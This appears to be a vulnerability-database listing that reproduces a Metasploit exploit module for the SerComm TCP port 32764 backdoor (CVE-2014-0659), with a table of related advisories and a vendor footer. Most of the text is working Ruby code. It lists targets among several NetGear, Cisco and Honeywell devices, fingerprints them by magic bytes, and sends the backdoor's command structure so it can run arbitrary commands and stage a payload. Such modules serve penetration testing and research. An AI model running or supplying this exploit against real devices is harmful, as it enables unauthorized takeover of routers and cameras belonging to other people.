SerComm Device Remote Code Execution
🗓️ 31 Dec 2013 00:00:00Reported by Eloi Vanderbeken <[email protected]>, Matt "hostess" Andreko <[email protected]>Type
metasploit🔗 www.rapid7.com👁 24 Views
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2014-0659 | 14 Jan 201400:00 | – | circl | |
| Undocumented Test Interface in Cisco Small Business Devices | 10 Jan 201416:00 | – | cisco | |
| CVE-2014-0659 | 12 Jan 201415:00 | – | cve | |
| CVE-2014-0659 | 12 Jan 201415:00 | – | cvelist | |
| SerComm Device - Remote Code Execution (Metasploit) | 14 Jan 201400:00 | – | exploitdb | |
| SerComm Network Device Backdoor Detection | 31 Dec 201300:00 | – | metasploit | |
| CVE-2014-0659 | 12 Jan 201418:34 | – | nvd | |
| SerComm Network Device Backdoor Detection | 1 Sep 202400:00 | – | packetstorm | |
| Design/Logic Flaw | 12 Jan 201418:34 | – | prion | |
| ScMM DSL Modem/Router Backdoor Detection | 6 Jan 201400:00 | – | nessus |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => "SerComm Device Remote Code Execution",
'Description' => %q{
This module will cause remote code execution on several SerComm devices.
These devices typically include routers from NetGear and Linksys.
This module was tested successfully against several NetGear, Honeywell
and Cisco devices.
},
'License' => MSF_LICENSE,
'Author' => [
'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc
'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module
],
'Payload' => {
'Space' => 10000, # Could be more, but this should be good enough
'DisableNops' => true
},
'Platform' => 'linux',
'Privileged' => false,
'Targets' => [
[
'Generic Linux MIPS Big Endian',
{
'Arch' => ARCH_MIPSBE,
'PackFormat' => 'VVV'
}
],
[
'Generic Linux MIPS Little Endian',
{
'Arch' => ARCH_MIPSLE,
'PackFormat' => 'NNN'
}
],
[
'Manual Linux MIPS Big Endian',
{
'Arch' => ARCH_MIPSBE
}
],
[
'Manual Linux MIPS Little Endian',
{
'Arch' => ARCH_MIPSLE
}
],
[
'Cisco WAP4410N',
{
'Arch' => ARCH_MIPSBE,
'PackFormat' => 'NNN',
}
],
[
'Honeywell WAP-PL2 IP Camera',
{
'Arch' => ARCH_MIPSLE,
'PackFormat' => 'VVV'
}
],
[
'Netgear DG834',
{
'Arch' => ARCH_MIPSBE,
'PackFormat' => 'VVV',
'NoArgs' => true
}
],
[
'Netgear DG834G',
{
'Arch' => ARCH_MIPSLE,
'PackFormat' => 'VVV',
'PayloadEncode' => 'octal'
}
],
[
'Netgear DG834PN',
{
'Arch' => ARCH_MIPSBE,
'PackFormat' => 'VVV',
'NoArgs' => true
}
],
[
'Netgear DGN1000',
{
'Arch' => ARCH_MIPSBE,
'PackFormat' => 'VVV',
'NoArgs' => true
}
],
[
'Netgear DSG835',
{
'Arch' => ARCH_MIPSBE,
'PackFormat' => 'VVV',
'NoArgs' => true,
}
],
[
'Netgear WPNT834',
{
'Arch' => ARCH_MIPSBE,
'PackFormat' => 'NNN',
'UploadPath' => '/var',
'PayloadEncode' => 'octal'
}
]
],
'DefaultTarget' => 0,
'References' => [
[ 'CVE', '2014-0659' ],
[ 'OSVDB', '101653' ],
[ 'URL', 'https://github.com/elvanderb/TCP-32764' ]
],
'DisclosureDate' => '2013-12-31',
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
Opt::RPORT(32764)
]
)
register_advanced_options(
[
OptEnum.new('PACKFORMAT', [false, "Pack Format to use", 'VVV', ['VVV', 'NNN']]),
OptString.new('UPLOADPATH', [false, "Remote path to land the payload", "/tmp" ]),
OptBool.new('NOARGS', [false, "Don't use the echo -en parameters", false ]),
OptEnum.new('ENCODING', [false, "Payload encoding to use", 'hex', ['hex', 'octal']]),
]
)
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def check
fprint = endian_fingerprint
case fprint
when 'BE'
vprint_status("Detected Big Endian")
return Msf::Exploit::CheckCode::Appears('SerComm backdoor detected: Big Endian device responded with "ScMM" magic bytes')
when 'LE'
vprint_status("Detected Little Endian")
return Msf::Exploit::CheckCode::Appears('SerComm backdoor detected: Little Endian device responded with "MMcS" magic bytes')
end
return Msf::Exploit::CheckCode::Safe('SerComm backdoor not detected; device did not respond with expected magic bytes')
end
def exploit
if target.name =~ /Manual/
print_warning("Remember you can configure Manual targets with NOARGS, UPLOADPATH, ENCODING and PACK advanced options")
@no_args = datastore['NOARGS']
@upload_path = datastore['UPLOADPATH']
@encoding_format = datastore['ENCODING']
@pack_format = datastore['PACKFORMAT']
else
@no_args = target['NoArgs']
@upload_path = target['UploadPath']
@encoding_format = target['PayloadEncode']
@pack_format = target['PackFormat']
end
execute_cmdstager(
:noargs => @no_args,
:temp => @upload_path,
:enc_format => @encoding_format,
:flavor => :echo
)
end
def endian_fingerprint
begin
connect
sock.put(rand_text(5))
res = sock.get_once
disconnect
if res && res.start_with?("MMcS")
return 'BE'
elsif res && res.start_with?("ScMM")
return 'LE'
end
rescue Rex::ConnectionError => e
print_error("Connection failed: #{e.class}: #{e}")
end
return nil
end
def execute_command(cmd, opts)
# Get the length of the command, for the backdoor's command injection
cmd_length = cmd.length
# 0x53634d4d => Backdoor code
# 0x07 => Exec command
# cmd_length => Length of command to execute, sent after communication struct
data = [0x53634d4d, 0x07, cmd_length].pack(@pack_format)
connect
# Send command structure followed by command text
sock.put(data + cmd)
disconnect
Rex.sleep(1)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
31 Dec 2013 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 210
EPSS0.73825